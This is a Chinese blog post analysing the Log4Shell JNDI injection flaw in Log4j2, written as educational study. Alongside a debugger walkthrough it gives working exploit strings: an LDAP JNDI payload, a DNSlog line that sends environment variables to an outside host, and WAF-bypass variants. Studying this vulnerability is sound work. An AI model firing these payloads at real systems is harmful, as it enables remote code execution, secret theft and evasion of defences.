Log4j2 JNDI注入漏洞(CVE-2021-44228)
最近看一下Log4j2的这个比较出名的漏洞,相较于今天已经过去很久了。这个漏洞是21年十一二月份爆出来的洞,影响巨大,当时刚上大一,但是也有所耳闻。(一行代码让十几万程序员加班三天)近些年面试的时候也比较爱问这个,所以今天来分析一下一行代码是怎么能够命令执行的。
0x01 Log4j2简介
log4j是Apache的一个开源项目,它一个用于记录日志信息的Java库,它提供了强大的日志记录功能,被广泛用于Java应用程序的日志管理。log4j2是log4j的升级版,旨在提供更强大、更灵活、更高效的日志记录功能。在java开发主流的框架中,比如springboot,大部分都是将log4j2作为日志管理工具。
Log4j2的基本开发使用
不仅要知道log4j2是什么东西,也要知道它是怎么用的。
导入log4j2的相关依赖
<dependency> |
这里用的是2.14.2版本,也就是有漏洞的版本。log4j2 的一些实现方式,什么 xml,yaml,properties 等很多方式。
这里,我们简单用 xml 的方式来实现,文件如下
|
定义日志打印的基本格式,然后写一个小demo测试一下
package log4j2.test; |
跑一下看看运行结果
成功打印出什么级别的日志,时间,消息等等。
实际应用场景
在实际业务中,有些日志是需要输出的,比如会输出到logs的日志文件中。
举个例子,前台用户登录是否成功的消息日志会被记录到我们的日志文件中,下面写个小代码模仿应用场景
package log4j2.test; |
实际上代码肯定不是这样子,它会结合Mybatis查询数据库,将是否查询成功作为一个判断,再打印日志。我们只需要简单知道一下应用场景就行。
运行看看结果
0x02 Log4j2漏洞原理分析
1.影响版本
2.x <= log4j <= 2.15.0-rc1
2.漏洞原理
看这段代码
logger.info("{} Login in!",username); |
username用户可控,这本来就是不安全的,用户不信任的输入可能会导致一些安全问题,
让username=${java:os},日志输出的就不是${java:os}
而是操作系统的相关信息。查阅官方文档就可以知道这是log4j支持这样的一种功能
像这样的还有这几个,其实这些并没有多么大的危害,最多也就泄露一些敏感信息。
其实继续查阅文档,还有JNDI的lookup这一栏
看到这里大概也会猜到这里存在JNDI注入(官方文档链接:https://logging.apache.org/log4j/2.x/manual/lookups.html#JavaLookup)
写个漏洞exp试试吧,这是JNDI的lookup,那么照葫芦画瓢,格式应该写成${jndi:exp}
package log4j2.test; |
配置好反连
run一下看看
弹了两次计算器,其实这弹的两次计算器的触发流程都是一样的,分析一个就行。
3.调试与分析
调试有点难度,前面不太重要的信息太多,什么封装,函数调用啥的,所以别一开始就调试,设置到合适的断点
断点就下在PatternLayout类的toSerializable方法
这个event就是封装了日志消息的类,然后遍历日志信息,这个format方法可以看作处理字符串的方法,当i遍历到7的时候
buffer是缓冲区,把打印的日志放进去,刚好遍历到我们输入的恶意代码的地方,然后跟进format函数
然后继续跟进这个方法
开头这一部分用于处理日志事件的消息内容,并将其格式化输出到 StringBuilder对象中。它根据消息内容的类型来选择合适的格式化方法,并将格式化后的文本输出到 workingBuilder 对象中,以供后续处理和输出。
然后走到下面这个if语句里,判断是否是 Log4j2 的 lookups 功能,满足条件,继续往下走
workingBuilder里存储着日志信息,时间,级别,以及我们的payload等等
offset为56,从56位开始循环遍历,检查当前遍历的这两位是否是${,第56位workingBuilder对应的就是我们输入的payload的前两位,满足条件。从第三位开始截取日志消息,赋值给value,从图上可以看到,payload最后一个}还没有去掉。跟进到replace方法
然后调用substitute方法,跟进
前面都是一些变量的初始化,没什么用。来到这个while循环,bufEnd是38,也就是payload的长度
prefixMatcher里有两个字符:$和{ 这行代码是在字符数组 chars中从指定位置 pos 开始,使用 prefixMatcher 对象进行前缀匹配。如果在指定的位置存在匹配的前缀,那么 startMatchLen 将记录匹配的长度,否则为 0。
startMatchLen长度不为0,它会走到
if (pos > offset && chars[pos - 1] == escape) |
这个if条件里,很明显不满足,因为pos是0
进入到这个else,此时pos为2,再判断从2开始字符是不是${ 很明显不是
走到这里,又有一个匹配,匹配 } 匹配不到,pos+1开启下一轮循环,一直循环到最后一个字符,也就是 }
匹配到了,endMatchLen不为空,它会去掉 ${} 占位符,留下真正的恶意代码,此时的bufname就是jndi:ldap://127.0.0.1:8085/zRFaCCEj 重新调用到substitute方法,跟进之后还是循环,只不过那些匹配都不成立了,好像substitute方法就是为了去掉 ${} 占位符的
继续往下走,又是循环,真的恶心,又是检测有没有 $,{,} 字符的,直接看最终结果
遍历完后走到这里,跟进resolveVariable方法
这里resolver有这么多类型,继续跟进到lookup方法
进入到了Interpolator类的lookup方法
通过分号将恶意代码分割成两部分,前一部分为jndi,通过strLookupMap查找对应类
可以看一下对应关系
最后调用JndiLookup的lookup方法,跟进
到此就结束了,继续跟进lookup方法就会走到JndiManager类的lookup方法,这是原生的JNDI注入的地方,已经不属于log4j2组件的范畴了。最后就是JNDI注入执行恶意命令,流程结束。
4.调试小结
当我们传入payload,首先判断输入的内容是否存在${}这些字符,然后截取占位符中的内容,也就是jndi:xxxx
然后用分号分割截取后的内容,分为jndi和xxxx(恶意代码),jndi字符串用于在Map中查找自己对应的类,Map中支持的字符串有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
选择出对应的解析器也就是JndiLookup调用lookup方法,实现JNDI注入
0x03 绕过技巧
看网上的资料,顺便提一下
推荐文章:https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
信息泄露
可以通过env或者sys利用DNSlog外带,得到目标系统的系统变量或者环境变量,或者主机的key,例如
logger.info("${jndi:ldap://${env:USER}.dv3tdm.dnslog.cn}"); |
但是本地测试好像不行
WAF绕过
可能最多的就是针对于jndi,ldap关键词的检测
利用分隔符和多个 ${}
绕过
官方文档写着,如果参数没有定义,那么 :- 后面的就是默认值
payload如下
logger.error("${${::-J}${what:-n}di:ldap://127.0.0.1:8085/zRFaCCEj}"); |
大小写绕过(lower 和 upper)
也可以利用一些特殊字符
ı => upper => i (Java 中测试可行) |
payload如下
logg.info("${${lower:J}ndi:ldap://127.0.0.1:8085/zRFaCCEj}"); |
0x04 小结
总结一句话就是,低版本的log4j2存在JNDI注入,可以任意代码执行。一行代码就可以获取服务器权限(滑稽)
在调试的时候还是比较头疼的,很多循环的代码很容易晕,所以在调这些繁琐难懂的java代码的时候,一定要静下心来,理解代码逻辑。
参考链接